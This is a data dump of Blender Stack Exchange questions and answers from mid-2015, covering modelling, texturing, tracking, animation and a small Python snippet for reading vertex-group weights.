  <row Id="33196" PostTypeId="1" CreationDate="2015-06-30T01:21:26.747" Score="2" ViewCount="337" Body="&lt;p&gt;I want to have just the mesh part of the character I downloaded from &lt;a href=&quot;http://www.blendswap.com/blends/view/71055&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt; I don't want any of the UV-mapping, materials, rigging, and stuff. &#xA;I'll add that stuff later with my own materials. In any case, I can't seem to delete everything. The old stuff is messing with the new stuff; it's like I have to go really deep to remove everything.&lt;/p&gt;&#xA;" OwnerUserId="15315" LastEditorUserId="1253" LastEditDate="2015-06-30T01:47:33.277" LastActivityDate="2016-01-26T23:19:27.917" Title="Removal of everything except mesh, or extraction of mesh from Blender file to a new one" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;&lt;rigging&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33197" PostTypeId="1" CreationDate="2015-06-30T02:27:34.310" Score="1" ViewCount="641" Body="&lt;p&gt;I want some bones to move like hair that collides with itself, but I can't figure out how. How can I do this to my model?&lt;img src=&quot;https://i.stack.imgur.com/436hq.png&quot; alt=&quot;My model with bones&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14977" LastEditorUserId="14977" LastEditDate="2015-07-03T14:18:08.493" LastActivityDate="2016-04-21T00:58:24.777" Title="Can I set some bones to move Like hair?" Tags="&lt;scripting&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33198" PostTypeId="1" AcceptedAnswerId="33200" CreationDate="2015-06-30T02:40:45.837" Score="5" ViewCount="975" Body="&lt;p&gt;I was watching a video on retopology and saw the uploader extrude a mesh face in a way that I've not seen before.  He's in edit-vertex mode and has a partly completed mesh with an L-shaped bend along its edge.  He then selects the vertex on the inside corner of the L and then appears to click somewhere further out - and this causes an entire face to be created:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQ9AP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YouTube clip:&#xA;&lt;a href=&quot;https://youtu.be/KNjCaizeal0?t=8m29s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/KNjCaizeal0?t=8m29s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading through the docs, but can't figure out what key I need to press to do this.  Does anyone know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="241" LastEditDate="2015-06-30T09:13:35.573" LastActivityDate="2015-06-30T10:47:01.860" Title="How to create a face when only one vertex is selected?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33200" PostTypeId="2" ParentId="33198" CreationDate="2015-06-30T03:30:44.890" Score="5" Body="&lt;p&gt;Looks like blender has an addon called 'f2' mode.  Enable it, and then you can create this sort of quad just by pressing &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/F2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/F2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CEPBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="1245" LastEditDate="2015-06-30T10:47:01.860" LastActivityDate="2015-06-30T10:47:01.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33201" PostTypeId="2" ParentId="33198" CreationDate="2015-06-30T03:34:27.873" Score="1" Body="&lt;p&gt;As he is saying in the video, it's the effect of an add-on called Mesh F2, coming with the standard Blender bundle.&#xA;To use it you must go to &quot;user preferences&quot; - &quot;Add-Ons&quot;, search for mesh F2, activate the add-on and save the user preferences.&#xA;Then in edit mode select an angle vertex and press the F key.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-30T03:34:27.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33202" PostTypeId="2" ParentId="33196" CreationDate="2015-06-30T03:45:40.130" Score="1" Body="&lt;p&gt;Open your downloaded file, create a cube, name it &quot;onlyMesh&quot;, go to the mesh tab in the properties panel, switch the cube mesh to the character mesh, delete the whole original character, save, close, reopen your file. &lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-30T03:45:40.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33203" PostTypeId="1" AcceptedAnswerId="33220" CreationDate="2015-06-30T03:47:34.880" Score="2" ViewCount="339" Body="&lt;p&gt;I haven't done any plane tracking before, but I'm thinking of making a video where I have a bunch of picture frames and I replace their images with a bunch of my blender work.  What is the process of doing more than one plane track in a video?  Are there plane track datablocks? (Again, I haven't really looked into this.)  Also, what is the best way to put them all together in the compositor?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-30T13:27:47.937" Title="How to do multiple plane tracks from one video" Tags="&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33204" PostTypeId="2" ParentId="33105" CreationDate="2015-06-30T04:55:22.937" Score="1" Body="&lt;p&gt;You are getting this error because your user doesn't have permission to read the file. In your specific case, there dosen't seem to be a problem with the permissions of the file itself but rather with its containing directory.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To view or change permissions, right-click the file in Windows Explorer, click Properties, click the Security tab, and select your username in the &quot;Group or user names&quot; pane.&lt;/li&gt;&#xA;&lt;li&gt;One workaround that doesn't involve fiddling with permissions is to copy the file to somewhere else with Windows explorer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1253" LastActivityDate="2015-06-30T04:55:22.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33205" PostTypeId="2" ParentId="33196" CreationDate="2015-06-30T05:02:57.300" Score="0" Body="&lt;p&gt;What you want to do can be easily accomplished in the outliner editor window. This is the small window at the far right of the default screen, stacked on top of the properties editor window. In a new instance of Blender, or at least in a new scene, click File &gt; Open to open the file browser. In the left hand column, in the &quot;Open Blender file&quot; pane, uncheck &quot;Load UI&quot;. Now, navigate to the location of the downloaded file, and open it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pull down on the border between these Outliner editor window and the Properties editor window to enlarge the Outliner editor window. The outliner editor window will have a list of several items, a listing for a camera, a listing for a lamp, a listing for a cube (unless you've deleted it), and a listing for your downloaded character. To the left of each item is a small circle containing a &quot;+&quot; sign. Click on this circle to the left of your downloaded character, and several items should appear below the name of the downloaded character. The first one contains the name of the mesh of the object, but you will note that this, too, has a circle containing a plus sign at the far right side of the line. Click this circle, and you will see other entries, including &quot;materials&quot;, and other items. Left clicking on each line in the outliner window below the line containing the name of the mesh, in the resulting context menu, select &quot;delete&quot;. This will delete that data link from the file. When you've deleted all items below the line containing the name of the mesh, you will be left with an object containing your mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, for what it's worth, I find the outliner window to be so useful that I have modified my default screen so that at the far right are two windows the full height of the screen&amp;mdash;one for the outliner window, and beside it one for the properties editor window. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-30T05:10:36.210" LastActivityDate="2015-06-30T05:10:36.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33206" PostTypeId="1" CreationDate="2015-06-30T05:04:17.060" Score="7" ViewCount="2803" Body="&lt;p&gt;Blender 2.74 - Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on some apparently demanding scenes - and am trying to do GPU cycles rendering. I want to be intelligent in my scene but at this moment I'm using 1.7gb ram and it's only going to get more involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to get better insight into GPU RAM usage in cycles without turning things on and off (objects, textures, etc) and trying to discover the difference in usage? Can I just get a report or something of what is allocating how much? Textures, BVHs, etc.&lt;/p&gt;&#xA;" OwnerUserId="14772" LastEditorUserId="14772" LastEditDate="2015-06-30T05:12:08.753" LastActivityDate="2016-11-11T19:59:33.047" Title="View Memory Usage" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33207" PostTypeId="2" ParentId="33071" CreationDate="2015-06-30T05:06:45.427" Score="3" Body="&lt;p&gt;This method may be not efficient, but this is how I did it :)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a plane&lt;/li&gt;&#xA;&lt;li&gt;Edit Mode, press &lt;kbd&gt;U&lt;/kbd&gt; and choose Unwrap&lt;/li&gt;&#xA;&lt;li&gt;UVeditor panel, open the picture and fit the lines in the picture&lt;/li&gt;&#xA;&lt;li&gt;Properties panel, modifier section, use Subdivision Surface modifier, choose the 'Simple' option and set the 'View' value to 5, for example.&lt;/li&gt;&#xA;&lt;li&gt;Then use the Displace modifier, press 'New' and set 'Texture Coordinates' to 'UV', and set strength value to 0.1&lt;/li&gt;&#xA;&lt;li&gt;Textures section, press the 'Open' button and choose your picture. Now you should see the picture applied to the plane in 3D view&lt;/li&gt;&#xA;&lt;li&gt;Apply the modifiers and apply the upper modifier first.&lt;/li&gt;&#xA;&lt;li&gt;Edit Mode, delete the vertices you don't like.&lt;/li&gt;&#xA;&lt;li&gt;Use the decimate modifier, choose 'unsubdivide' and increase the number of iterations&lt;/li&gt;&#xA;&lt;li&gt;Apply modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-30T05:06:45.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33208" PostTypeId="1" CreationDate="2015-06-30T06:23:55.153" Score="2" ViewCount="336" Body="&lt;p&gt;How can I access the weight values of a polygon resp. it's vertices by the vertex group &lt;strong&gt;name&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.active_object&#xA;vertexGrp = ob.vertex_groups[&quot;Group1&quot;]&#xA;for poly in ob.data.polygons:&#xA;  weight = 0                        &#xA;  for vert in poly.vertices:&#xA;      weight += ob.data.vertices[vert].groups[vertexGrp].weight&#xA;&#xA;      # The commented lines didn't work either&#xA;      #weight += ob.data.vertices[vert].groups[1].weight&#xA;      #weight += ob.data.vertices[vert].groups[&quot;Group1&quot;].weight&#xA;&#xA;  #do something with the weight&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's about the last line, including the commented ones, that give me an error, it seems I don't use it right. Googled for hours, but didn't find an example I could understand. Please help.&lt;/p&gt;&#xA;" OwnerUserId="15318" LastEditorUserId="29" LastEditDate="2015-06-30T08:36:58.873" LastActivityDate="2015-06-30T08:36:58.873" Title="Access the weight values of a polygon" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33209" PostTypeId="1" CreationDate="2015-06-30T06:56:26.700" Score="2" ViewCount="2501" Body="&lt;p&gt;*I dont know how to explain the title feel free to change&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded a mesh that uses particles as grass and it is going through my knife mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMZWD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is anyway to get rid of those few strands?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-07-01T07:48:05.063" Title="Remove a few particles?" Tags="&lt;mesh&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33211" PostTypeId="2" ParentId="33208" CreationDate="2015-06-30T07:48:11.793" Score="4" Body="&lt;p&gt;OP (me) didn't realise that a weight value of 0 auto-removes a vertex from the group. Also you need to use the index for accessing the weight data. So this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.active_object&#xA;vertexGrp = ob.vertex_groups[&quot;Group&quot;].index&#xA;for poly in ob.data.polygons:&#xA;    weight = 0    &#xA;    try:                    &#xA;        for vert in poly.vertices:           &#xA;            weight += ob.data.vertices[vert].groups[vertexGrp].weight&#xA;        weight /= len(poly.vertices)&#xA;        print(weight)&#xA;    except:&#xA;        print(&quot;no vgroup&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15318" LastActivityDate="2015-06-30T07:48:11.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33212" PostTypeId="1" CreationDate="2015-06-30T08:18:34.397" Score="1" ViewCount="232" Body="&lt;p&gt;I am looking at work-flows for building roofs.  Below was promising until I hit a snag...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2bS8.jpg&quot; alt=&quot;Image of two planes as (1) below&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Setup&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rotated Plane + Mirror modifier.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; (Transform Orientation) &amp;gt; Normal&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt; &amp;gt; Create Orientation for sloped plane&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt; ...&lt;/li&gt;&#xA;&lt;li&gt;When the two planes meet, they 'climb' up the global Z-axis, which I don't want (below)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xwi6C.jpg&quot; alt=&quot;Image of displaced planes as (4) above&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Question&lt;/h3&gt;&#xA;&lt;p&gt;How do I constrain the merged verts to the selected Orientation (i.e. staying in line with the roof?&lt;/p&gt;&#xA;" OwnerUserId="15320" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-30T08:37:00.477" Title="Planar clipping/merge with Mirror modifier" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;&lt;snapping&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33213" PostTypeId="2" ParentId="33188" CreationDate="2015-06-30T08:18:55.767" Score="1" Body="&lt;p&gt;First, I have edited your question because the term you were using in asking your question was not the right one. In fact, you were asking about loop cuts, not edge loops. The difference is that an edge loop is a set of existing edges linked end to end, while a loop cut defines a path upon which existing geometry will be modified to add a set of edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you switch to vertex select mode, you'll see that the loop cut is interrupted because the two large faces just beyond where your desired loop cut ends in your screenshot are n-gons. There are six vertices around the perimiter, three on the top and three on the bottom of each face. A clue to this is the fact that in the right-most inset faces, in face select mode, the squares designating the center of mass of the faces is offset to the right, when compared with the other three.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-30T10:51:53.647" LastActivityDate="2015-06-30T10:51:53.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33214" PostTypeId="1" CreationDate="2015-06-30T09:08:17.067" Score="2" ViewCount="7180" Body="&lt;p&gt;I have a problem with texture painting in Blender. &#xA;I can't seem to get the transparency to show up in the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made the material transparent. Painted the texture. &#xA;But it just appears white like here.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jsiWo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd like for it to actually be transparent in the viewport.&#xA;GLSL is active too, btw.&lt;/p&gt;&#xA;" OwnerUserId="15322" LastEditorUserId="29" LastEditDate="2015-06-30T10:37:11.857" LastActivityDate="2015-09-29T22:40:42.757" Title="Texture Painting Transparent" Tags="&lt;transparency&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33215" PostTypeId="1" AcceptedAnswerId="33218" CreationDate="2015-06-30T12:39:41.013" Score="3" ViewCount="971" Body="&lt;p&gt;I'm looking for this colour management option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n0iGH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't find it. Where is it? I am currently looking at this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJVoK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot see anywhere how I can go into a &quot;colour management&quot; option like the one shown in the above screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm &lt;a href=&quot;https://blender.meta.stackexchange.com/questions/773/is-putting-my-experience-level-a-necessity&quot;&gt;fairly new to blender&lt;/a&gt;, so screenshots would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7464" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2015-12-22T06:22:16.433" Title="Where is the colour management option?" Tags="&lt;uv&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33216" PostTypeId="1" AcceptedAnswerId="33221" CreationDate="2015-06-30T12:42:46.340" Score="0" ViewCount="121" Body="&lt;p&gt;Somehow I have managed to mess up the corner of wall of my house.&#xA;The left side of the image shows what it currently looks like, and the right side shows more or less what it should look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a simple &quot;Grid Fill&quot;, but I guess that is not what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody tell me how he would fix this? I was thinking that I could perhaps use the remaining 2 faces on the bottom of the corner, but I am not sure.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5mmtO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-06-30T13:52:31.630" Title="Filling a corner" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33218" PostTypeId="2" ParentId="33215" CreationDate="2015-06-30T12:59:14.523" Score="3" Body="&lt;p&gt;You can find 'Color Management' in the 'Scene' tab of the 'Properties' area (the tall column on the right with the icons at the top).&lt;/p&gt;&#xA;&lt;p&gt;You are currently on the 'Modifiers' tab (highlighted in orange, which is displaying the 'Displace' modifier), you need to click on the 'Scene' icon (highlighted in red):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TI6u9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the 'Scene' tab is where the 'Color Management' options reside.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-30T12:59:14.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33219" PostTypeId="1" CreationDate="2015-06-30T13:11:16.203" Score="2" ViewCount="2330" Body="&lt;p&gt;Hi Im starting to learn how to animate in blender. I made a simple walkcycle animation but i want to add the same animation into another action where my character walks in the other direction. I tried to just simply rotate the rigged model and did set all the keyframes but that changed also the direction of my other actions.&#xA;Example of the idea: action 1: walkingcycle in left direction&#xA;                     action 2: SAME walkingcycle in right direction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for taking your time to read through.&lt;/p&gt;&#xA;" OwnerUserId="15327" LastActivityDate="2015-06-30T14:30:09.563" Title="How can I flip the direction of an animation" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33220" PostTypeId="2" ParentId="33203" CreationDate="2015-06-30T13:27:47.937" Score="4" Body="&lt;p&gt;To create a plane track you select a minimum of four tracking points and then click Create Plane Track, which is available in the solve tab of the tools sidebar &lt;kbd&gt;T&lt;/kbd&gt; in the Clip Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there are any limits, blender just lets you create as many plane tracks as you want for the current movie, I just created 40 as a test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a plane track deform node that you can use in the compositor that will distort an image to match the plane track you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrW7g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-30T13:27:47.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33221" PostTypeId="2" ParentId="33216" CreationDate="2015-06-30T13:52:31.630" Score="2" Body="&lt;p&gt;Select those two vertices in the bottom. Turn on vertex snapping with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; and selecting &lt;code&gt;Vertex&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIf5S.jpg&quot; alt=&quot;fixing_1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;kbd&gt;E&lt;/kbd&gt; &gt; &lt;kbd&gt;Z&lt;/kbd&gt; to extrude along &lt;code&gt;Z&lt;/code&gt;, and hover your mouse over adjacent vertices of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LqTTv.jpg&quot; alt=&quot;fixing 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fill the faces quickly, create an edge on the topmost loop. To do that, select top one extruded vertice and one from the top loop. Make edge with &lt;kbd&gt;F&lt;/kbd&gt;. Use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; to fill faces, then &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt; to get rid of triangles. Do that for another side.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f8PNP.jpg&quot; alt=&quot;fixing_3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-06-30T13:52:31.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33222" PostTypeId="2" ParentId="33219" CreationDate="2015-06-30T14:30:09.563" Score="1" Body="&lt;p&gt;You can convert your animation to an action strip in NLA Editor and use strip's properties to reverse animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/upmPa.jpg&quot; alt=&quot;flip_1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that after this conversion you won't be able to edit your animation, i.e change keyframes' position or add new ones. So you may want to create backup of your mesh with editable animation.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-06-30T14:30:09.563" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="33223" PostTypeId="2" ParentId="33214" CreationDate="2015-06-30T14:35:24.873" Score="5" Body="&lt;p&gt;You can do that in GLSL Textured Viewport Shading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First open material tab, enable Transparency and set Alpha to 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xRMx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open Texture tab, select the texture you are painting on and in Influence section enable &lt;strong&gt;Alpha&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G6gNc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-30T14:35:24.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33224" PostTypeId="1" AcceptedAnswerId="33228" CreationDate="2015-06-30T14:57:44.497" Score="2" ViewCount="520" Body="&lt;p&gt;I'm trying to composite a shockwave effect with the blender render engine.&lt;br&gt;&#xA;My scene is currently set up with two render layers:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layer one: Text, two lamps and a camera.&lt;br&gt;&#xA;Layer two: shockwave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two issues currently, however I think the first issue may be beyond the scope of this question, I'm not entirely sure if it's something to do with the layer comp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue One: The shockwave colouring seems not to be working from certain frames. Even though nothing is keyframed, everything seems to desaturate from frame 40 to about frame 100. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue Two: The final render is rendering the shockwave layer in front of the text when the object is behind the text. If I switch the alpha mix over node's inputs none of the actual shockwave renders, only the text layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/njqjydj9sgxfkwg/intro.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download the Blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C99R7.png&quot; alt=&quot;Current Output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14619" LastEditorUserId="14619" LastEditDate="2015-06-30T17:02:15.240" LastActivityDate="2015-06-30T17:07:25.147" Title="Render layer confusion" Tags="&lt;blender-internal-render-engine&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33225" PostTypeId="1" CreationDate="2015-06-30T15:01:48.180" Score="0" ViewCount="179" Body="&lt;p&gt;I am just learning blender..I made a 3d character and unwrapped it.. But when I opened the image in UV editing window it didn't show the any texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/folder/feo73886r4aer/character&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/folder/feo73886r4aer/character&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WFsG.png&quot; alt=&quot;not showing texture to my 3 d model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="3401" LastEditDate="2015-06-30T19:19:10.803" LastActivityDate="2015-06-30T19:19:10.803" Title="Not showing texture after uv maping and importing png image?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33226" PostTypeId="1" AcceptedAnswerId="33232" CreationDate="2015-06-30T15:33:55.547" Score="2" ViewCount="1160" Body="&lt;p&gt;I try to snap the object that is selected in the screenshot onto the object behind it, similar to the one seen on the left edge on the screenshot (from which I copied the selected object). I want it to 'align rotation', so that is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJD9N.png&quot; alt=&quot;object to snap with &amp;#39;snap during transform&amp;#39; options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then press &lt;kbd&gt;G&lt;/kbd&gt; &gt; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; to maintain the height. However, when i hover over the surface I want to snap it to, it flips it's rotation, seemingly by 90 degrees:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XeV5.png&quot; alt=&quot;weird rotation flipping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied rotation to both objects beforehand. Any clues? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender 2.74.&lt;/p&gt;&#xA;" OwnerUserId="15328" LastEditorUserId="599" LastEditDate="2015-06-30T17:23:04.010" LastActivityDate="2016-08-06T21:47:39.057" Title="object flips while snapping to another object with align rotation, using face snapping" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;transforms&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33227" PostTypeId="2" ParentId="33225" CreationDate="2015-06-30T15:34:42.887" Score="2" Body="&lt;p&gt;I had to reload your image texture from disk to get it to show up. Once I did that I just changed the viewport mode from Solid to Textured and the textures appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2UTtB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-30T15:34:42.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
